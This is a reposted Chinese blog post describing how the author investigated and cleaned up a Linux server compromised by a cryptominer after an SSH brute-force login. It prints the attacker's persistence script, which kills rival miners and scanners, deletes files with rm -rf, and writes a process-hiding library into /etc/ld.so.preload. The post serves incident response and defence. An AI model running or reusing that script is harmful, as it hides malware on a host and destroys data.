Linux服务器被黑客入侵,怎么办?-技术圈

原文链接：https://www.cnblogs.com/operationhome/p/16637763.html

一、服务器入侵现象

近期有一个朋友的服务器（自己做了网站）好像遭遇了入侵，具体现象是：服务器 CPU 资源长期 100%，负载较高。服务器上面的服务不能正常提供服务。

朋友处理了一会没有解决，我开始想说我不是搞安全的，我怎么会，但朋友开出了天价，一顿海底捞，我在生活和现实面前低头了，开始上手看看了。

二、服务器排查和处理

2.1、服务器被入侵的可能原因

服务器 ssh 密码设置得很简单。
腾讯云安全组范围放得很大。
使用了宝塔，宝塔面板的密码也是很简单的密码（应该不是这个入侵入口）。

2.2、排查和处理步骤

1.ps -ef / top 找出占用进程最大的服务

问题现象

ps/top 命令已经被替换了。

2.查找详细的入侵痕迹 last 或者 grep 'Accepted' /var/log/secure。

问题现象

        
          [root@VM-12-12-centos ~]# grep 'Accepted'  /var/log/secure 
        
        
          Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
        
        
          Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
        
        
          Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
        
        
          Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
        
        
          Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
        
        
          Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
        
        
          Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
        
        
          Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8

lighthouse 腾讯云轻量服务器

我们在这里就可以看到，有一些境外IP 34.215.138.2成功登录了，这些 IP不是我们的正常登录。在 /var/log/secure 日志里，我看到了 IP 34.215.138.2 尝试登录不到500次就已经破解成功了。

处理措施

这里我们立马采取了第一个措施，

在腾讯云安全组限制了 SSH 的登录 IP ，之前的安全组 SSH 是放行所有IP。
将 SSH ROOT 密码修改。
/root/.ssh/authorized_keys 备份，并清空。

        
          [root@VM-12-12-centos ~]# cp -rp   /root/.ssh/authorized_keys  /root/.ssh/authorized_keys.bak
        
        
          cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied

这时我们就遇到了权限的问题，这个晚点展开讲，因为我们已经限制了源IP，所以这个我们可以晚点来处理。

3.查看最近新增的一些用户

问题现象

        
          cat /etc/passwd

处理措施

锁定用户

        
          [root@VM-12-12-centos ~]# usermod  -L  sys1

我这里不计划去找进程（已经在新建一台版本一致的系统，来拷贝 top 和 ps 命令，需要一小会，我们趁这个时间，先看看其他），因为之前朋友重启过服务器，发现服务器启动过一会才会负载较高。我认为入侵者应该放了一些定时任务和启动脚本里面。

问题现象

定时任务

crond 读取配置文件会从以下几个路径读取：

/var/spool/cron/ , 由crontab -e 进行写入，配置文件无需指定用户
/etc/crontab ，只能root 进行编辑，配置文件需指定用户
/etc/cron.d/ ，在此文件夹下创建定时任务文件，配置文件需指定用户
/etc/cron.*

/var/spool/cron/ 未找到（后面会说到这里有障眼法）

/etc/crontab 未找到（后面会说到这里有障眼法）

但是我在 /var/log/cron 一直看到有任务执行。每间隔5分钟。

        
          Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                                                                    )
        
        
          Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)
        
        
          Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                                                                   )
        
        
          
            

        
        
          Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                                                                   )
        
        
          Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                                                                    )

处理措施

这里我们先做的操作就是，先把 /usr/lib/mysql/mysql 和 /sbin/httpss 给删除。删除的时候还是提示没有权限。我们知道这些文件应该是加琐了，所以我开始解锁，我们发现 chattr 也被替换和锁住了。所以不能操作下去了。

开机启动脚本

/etc/rc.local ，我们也发现了一个脚本。

      
        [root@VM-12-12-centos ~]# cat /etc/rc.local 
      
      
        #!/bin/bash
      
      
        # THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
      
      
        #
      
      
        # It is highly advisable to create own systemd services or udev rules
      
      
        # to run scripts during boot instead of using this file.
      
      
        #
      
      
        # In contrast to previous versions due to parallel execution during boot
      
      
        # this script will NOT be run after all other services.
      
      
        #
      
      
        # Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
      
      
        # that this script will be executed during boot.
      
      
        
          

      
      
        /usr/bin/0f4f80f9ab start

但是这个文件好像不存在的，我们就把这个给注释了。

5.还原更改了 top、ps、chattr、lsattr

首先我们从相同版本的机器拷贝了 chattr、lsattr，我们得先操作这个，因为我们的 top 和 ps 都被锁住了。

我将文件上传至 /tmp 目录，然后增加可执行权限，然后先给 /usr/bin/chattr 解除锁定。

        
          /tmp/chattr -ai /usr/bin/chattr

执行完之后，发现还是不能替换 /usr/bin/chattr 。最后耗费了一段时间才反应到，入侵者可能不仅仅加锁了文件还加锁了 /usr/bin/ 。

        
          /tmp/chattr -ai /usr/bin/

这下才能把 /usr/bin/chattr 给替换掉。

接下来参考这些，我们把 top 和 ps 、lsattr 给还原了。

部分截图

三、本次入侵需要带来启示的点

1.ps 、top 、chattr 、lsattr

在这些命令被替换了，并且我们想还原又还原不了的场景，我们可以拷贝同版本的机器相同的命令放在其它目录，用这些命令来解除入侵者将它已经替换并锁定了文件。注意有些入侵者不仅会在文件层面加锁，还会在当前的文件的目录这一层加锁。我之前在这个上面困惑了一段时间。

2.文件内容隐藏

上文中，我执行 crontab -l 和 cat 查看 /etc/cron.d/ 下面的文件。发现文件没有内容。

其实不知道使用了什么特殊字符还是什么隐藏了，其实是存在定时任务的。

示例：

这个配置是如何导致 cat/more 看不了的, 今天再次看了下，这个文件可能是被当成了数据文件，因为我把这个文件 file 查看了之后，文件属性是data. 然后文件包含的特殊字符。导致隐藏了，我在这里服务器入侵之找出隐藏字符的原理把这个来龙去脉给讲清楚了。

3.其中一个脚本

        
          [root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464 
        
        
          #!/bin/sh
        
        
          while test 1 = 1
        
        
          do
        
        
          sleep 30
        
        
          pkill -f main
        
        
          killall main
        
        
          killall sprshduerjsaia
        
        
          pkill -f sprshduerjsaia
        
        
          killall dr64
        
        
          pkill -f dr64
        
        
          killall .report_system
        
        
          pkill -f .report_system
        
        
          killall sshc
        
        
          pkill -f sshc
        
        
          pkill -f memory
        
        
          killall memory
        
        
          killall warmup
        
        
          killall koko
        
        
          killall kthreaddk
        
        
          killall systemc
        
        
          killall cront
        
        
          killall xm64_linux
        
        
          killall /var/tmp/j/./intelshell
        
        
          pkill -f dos32
        
        
          pkill -f dos64
        
        
          pkill -f .name
        
        
          pkill -f /usr/sbin/dbus
        
        
          pkill -f systemd-boot-check-no-failures
        
        
          killall .report_system
        
        
          pkill -f .report_system
        
        
          pkill -f keep-alive
        
        
          pkill -f linu
        
        
          pkill -f zapppp
        
        
          killall [scan]
        
        
          killall [ext4]
        
        
          pkill -f xm64_linux
        
        
          pkill -f ddrirc
        
        
          killall ./-bash
        
        
          pkill -f ./-bash
        
        
          killall kworkers
        
        
          killall dbus
        
        
          pkill -f biden1
        
        
          pkill -f cpuminer-sse2
        
        
          killall work64
        
        
          pkill -f work64
        
        
          killall work32
        
        
          pkill -f work32
        
        
          killall aarch12
        
        
          pkill -f aarch12
        
        
          killall bash1
        
        
          pkill -f bash1
        
        
          killall intelshell
        
        
          pkill -f intelshell
        
        
          killall heaven
        
        
          pkill -f heaven
        
        
          killall .syst3md
        
        
          pkill -f .syst3md
        
        
          pkill -f apachelogs
        
        
          killall .meinkampf
        
        
          pkill -f .meinkampf
        
        
          killall xri
        
        
          pkill -f xri
        
        
          killall koko
        
        
          pkill -f koko
        
        
          killall work32-deamon
        
        
          pkill -f work32-deamon
        
        
          killall work64 -deamon
        
        
          pkill -f work64 -deamon
        
        
          killall secure.sh
        
        
          pkill -f secure.sh
        
        
          kkillall auth.sh
        
        
          pkill -f auth.sh
        
        
          killall autoupdate
        
        
          pkill -f kworkers
        
        
          pkill -f autoupdate
        
        
          killall ld-linux
        
        
          pkill -f ld-linux
        
        
          pkill -9 Donald
        
        
          killall -9 Donald
        
        
          pkill -f /usr/local/bin/pnscan
        
        
          pkill -f /usr/bin/biden1
        
        
          killall /usr/bin/biden1
        
        
          killall r
        
        
          killall trace
        
        
          pkill -f minerd
        
        
          killall minerd
        
        
          pkill -f xm64
        
        
          killall xm64
        
        
          pkill -f sysdm
        
        
          killall sysdm
        
        
          pkill -f syst3md
        
        
          killall syst3md
        
        
          pkill -f xrig
        
        
          killall xrig
        
        
          pkill -f busybox
        
        
          killall busybox
        
        
          pkill -f joseph
        
        
          killall joseph
        
        
          pkill -f osama
        
        
          killall osama
        
        
          killall daemon
        
        
          pkill -f obama1
        
        
          killall obama1
        
        
          pkill -f kswapd0
        
        
          killall kswapd0
        
        
          pkill -f jehgms
        
        
          killall jehgms
        
        
          pkill -f tsm
        
        
          killall tsm
        
        
          pkill -f rig
        
        
          killall rig
        
        
          pkill -f xmr
        
        
          killall xmr
        
        
          pkill -f playstation
        
        
          killall playstation
        
        
          pkill -f ld-linux-x86-64
        
        
          killall ld-linux-x86-64
        
        
          pkill -f ruckusapd
        
        
          killall ruckusapd
        
        
          pkill -f run64
        
        
          killall run64
        
        
          pkill -f pwnrig
        
        
          killall pwnrig
        
        
          pkill -f phpupdate
        
        
          killall phpupdate
        
        
          pkill -f sysupdate
        
        
          killall sysupdate
        
        
          pkill -f phpguard
        
        
          killall phpguard
        
        
          pkill -f firstpress
        
        
          killall firstpress
        
        
          pkill -f zerocert
        
        
          killall zerocert
        
        
          pkill -f masscan
        
        
          killall masscan
        
        
          pkill -f -bash
        
        
          pkill -f spreadQlmnop
        
        
          killall spreadQlmnop
        
        
          killall -bash
        
        
          pkill -f cnrig
        
        
          killall cnrig
        
        
          pkill -f netvhost
        
        
          killall netvhost
        
        
          pkill -f kthreadds
        
        
          killall kthreadds
        
        
          pkill -f kthreadd
        
        
          killall kthreadd
        
        
          pkill -f kdevtmpfsi
        
        
          killall kdevtmpfsi
        
        
          pkill -f linuxservice
        
        
          killall linuxservice
        
        
          pkill -f rtmonitor
        
        
          killall rtmonitor
        
        
          pkill -f dev
        
        
          killall dev
        
        
          pkill -f xmrig
        
        
          killall xmrig
        
        
          pkill -f master
        
        
          killall master
        
        
          killall sysmd
        
        
          pkill -f sysmd
        
        
          pkill -f sendmail
        
        
          killall sendmail
        
        
          pkill -f ld-musl-x86_64.
        
        
          killall ld-musl-x86_64.
        
        
          killall watchdog
        
        
          pkill -f watchdog
        
        
          pkill -f 32678
        
        
          killall 32678
        
        
          killall dhpcd
        
        
          pkill -f dhpcd
        
        
          killall linux_amd64
        
        
          pkill -f linux_amd64
        
        
          killall xredis
        
        
          pkill -f xredis
        
        
          killall Linux2.6
        
        
          killall .chornyd
        
        
          pkill -f .chornyd
        
        
          killall Opera
        
        
          pkill -f Opera
        
        
          killall libertyd
        
        
          pkill -f libertyd
        
        
          killall rcubind
        
        
          pkill -f rcubind
        
        
          killall clamscan
        
        
          pkill -f clamscan
        
        
          killall pnscan
        
        
          pkill -f pnscan
        
        
          killall zzh
        
        
          pkill -f zzh
        
        
          killall bioser
        
        
          pkill -f bioser
        
        
          rm -rf /root/.configrc/
        
        
          rm -rf /tmp/.X26-unix/
        
        
          rm -rf /tmp/.bash/
        
        
          rm -rf /root/.bash/
        
        
          rm -rf /root/.cache/
        
        
          rm -rf /tmp/.cache/
        
        
          rm -rf /dev/shm/.ssh/
        
        
          rm -rf /etc/.etcservice/linuxservice
        
        
          rm -rf /etc/.vhost/netvhost
        
        
          rm -rf /tmp/up.txt
        
        
          rm -rf /var/tmp/.update/
        
        
          rm -rf /var/tmp/.systemd/
        
        
          rm -rf /usr/sbin/.bash./.bash/
        
        
          rm -rf /etc/master
        
        
          rm -rf /usr/bin/busybox
        
        
          rm -rf /bin/sysmd
        
        
          rm -rf /tmp/.mx/
        
        
          rm -rf /dev/shm/.mx/
        
        
          rm -rf /usr/bin/xrig
        
        
          rm -rf /etc/32678
        
        
          rm -rf /root/c3pool/
        
        
          rm -rf /usr/bin/.sshd/
        
        
          rm -rf /tmp/div
        
        
          systemctl stop c3pool_miner.service
        
        
          systemctl stop pwnriglhttps.service
        
        
          systemctl stop cryto
        
        
          systemctl stop scan
        
        
          systemctl stop bot
        
        
          systemctl stop myservice.service
        
        
          systemctl stop netns.service
        
        
          systemctl stop cryptsetup.service
        
        
          echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
        
        
          lockr +ai /etc/ld.so.preload >/dev/null 2>&1
        
        
          chmod 777 /usr/lib/mysql/*
        
        
          /usr/lib/mysql/./mysql
        
        
          done

我们可以看到这个脚本其实一直在更改 /etc/ld.so.preload 的内容。并且在关闭一些扫描软件和系统的服务。

在 Linux 操作系统的动态链接库加载过程中，动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容，并将读取到的动态链接库进行预加载，即使程序不依赖这些动态链接库，LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载，它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高，所以能够提前于用户调用的动态库载入。——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》

我已经删除了 /usr/local/lib/libprocesshider.so 文件，之后每次执行命令会有这个报错。

我在清空文件 /etc/ld.so.preload 之后，我发现好了一会后，还是出现这个，我再看 /etc/ld.so.preload 文件，里面又写了 /usr/local/lib/libprocesshider.so ，我怀疑还有定时任务，但是我找了一会定时任务，还是没有找到。后面在查看异常进程的时候，我看到了这个进程

发现这个脚本的就是一直在循环执行上面内容。将这个进程 kill 后，然后删除脚本。

四、本次服务器被入侵的一些启示

用好云厂家的安全组。对一些关键端口，放行规则尽量最小/
服务器相关的一些密码尽量增加复杂性。
增加对一些关键文件的监控. (通过监控软件监控 md5值)
服务器入侵之后，我们需要怎么处理才是最好的。

https://cloud.tencent.com/document/product/296/9604

https://help.aliyun.com/document_detail/40994.htm?spm=a2c4g.11186623.0.0.75c56956NVPBST

服务器如果有开放 SSH 远程登录，可以设置限制登录(安全组、或者服务)，只放行自己的IP. 查找详细的入侵痕迹 last 或者 grep 'Accepted' /var/log/secure

/root/.ssh/authorized_keys /etc/passwd 这些文件也可以看下。将一些新建的用户锁定。

服务器如果可以关闭外网，就关闭外网。在安全组层面设置下，或者路由或者NAT。
首先看下 ps/top 命令有没有被篡改，如果有的话，从其他正常的机器上拷贝至服务器上。然后执行查看异常进程。也要查询下 /etc/ld.so.preload 是否有被篡改。如果有的的话，记得清空里面的内容，然后将对应的文件删除或者重命名。

如果使用过程中遇到了文件不可删，不可改的问题，需要使用 chattr -ia 文件名如果 chattr 也被串改，那就需要从别的机器拷贝。然后复原。

如果上述没有找到，可以通过 netstat 间接查看异常的连接从而查询异常进程。
检查开机启动和 crontab 相关的内容。
检查异常进程。

以上就是这次入侵的处理过程和得到的一些小启示，后续有了解新的会继续补充。

            往期推荐

如何快速实现 Redis 持久化
得物App全栈 DevOps 可观测平台落地实践
小孩也能学会的 Kubernetes 绘本教程
优秀的 Shell 运维脚本鉴赏
企业主流全链路监控系统
阿里 Nacos 高可用集群部署
神器 Nginx 的学习手册 ( 建议收藏 )
K8S 常用资源 YAML 详解
DevOps与CI/CD常见面试问题汇总
我会在Docker容器中抓包了！
19 个 K8S集群常见问题总结，建议收藏
运维高可用架构的 6 大常规方案
运维监控指标全方面总结
9 个实用 Shell 脚本，建议收藏！
详解 K8S Helm CI/CD发布流程
ES+Redis+MySQL，这套高可用架构设计太顶了！
一台服务器最大能支持多少条TCP连接？
K8S运维必知必会的 Kubectl 命令总结
16 张图硬核讲解 Kubernetes 网络
史上最全 Jenkins Pipeline流水线详解
主流监控系统 Prometheus 学习指南

搭建一套完整的企业级 K8s 集群（二进制方式）

40个 Nginx 常问面试题
Linux运维工程师 50个常见面试题

点亮，服务器三年不宕机